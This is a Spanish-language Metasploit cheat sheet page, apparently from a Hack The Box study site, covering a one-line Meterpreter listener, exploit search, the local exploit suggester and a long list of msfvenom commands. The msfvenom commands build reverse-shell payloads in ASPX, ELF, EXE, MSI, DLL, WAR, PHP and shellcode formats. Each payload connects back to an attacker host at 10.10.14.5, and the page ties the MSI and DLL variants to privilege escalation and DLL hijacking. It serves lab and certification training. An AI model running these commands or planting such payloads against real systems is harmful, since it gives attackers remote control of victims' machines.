Metasploit
En HTB se usa sobre todo msfvenom para generar payloads (exe, dll, msi, war, aspx) y el multi/handler para recibir Meterpreter. Para certificaciones como la OSCP su uso está limitado, así que conviene saber hacerlo también a mano.
- Plataforma
- Linux · Windows · macOS (Ruby)
- Web oficial
- metasploit.com
- En HTB
- 17 máquinas
Instalación
sudo apt install metasploit-framework
- T1190 Explotar una aplicación expuesta
- T1105 Transferencia de herramientas
- Explotación de CVE público
- Subida de ficheros maliciosos
Chuleta de Metasploit
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
msfconsole
Listener de Meterpreter en una línea
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.5; set LPORT 443; run"
Buscar un exploit
Atacante
search type:exploit name:webmin
Sugerir exploits locales desde una sesión
Atacante
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
Listar payloads de msfvenom
msfvenom -l payloads | grep linux/x64
En nuestras chuletas
Generador de reverse shells › Webshells
ASPX (Windows)
Atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx
Generador de reverse shells › msfvenom
Linux ELF x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf
Windows EXE x64
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe
Windows MSI (para AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o shell.msi
DLL de Windows (secuestro de DLL)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o shell.dll
WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f war -o shell.war
PHP
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php
Shellcode en Python sin bytes nulos
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00' -f python
Shellcode en C para Windows
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f c
Ningún comando coincide.
Máquinas de HTB donde se usa Metasploit
Sacadas de los capítulos de los vídeos de IppSec en los que aparece Metasploit. El enlace ▶ salta al minuto de esa parte.
Guías que usan Metasploit
- Escalada en Windows: servicios, rutas sin comillas, DLL hijacking y AlwaysInstallElevated 5 min de lectura Encontrar y abusar de servicios con permisos débiles, rutas sin comillas, DLL hijacking, tareas programadas y AlwaysInstallElevated, a mano o con winPEAS.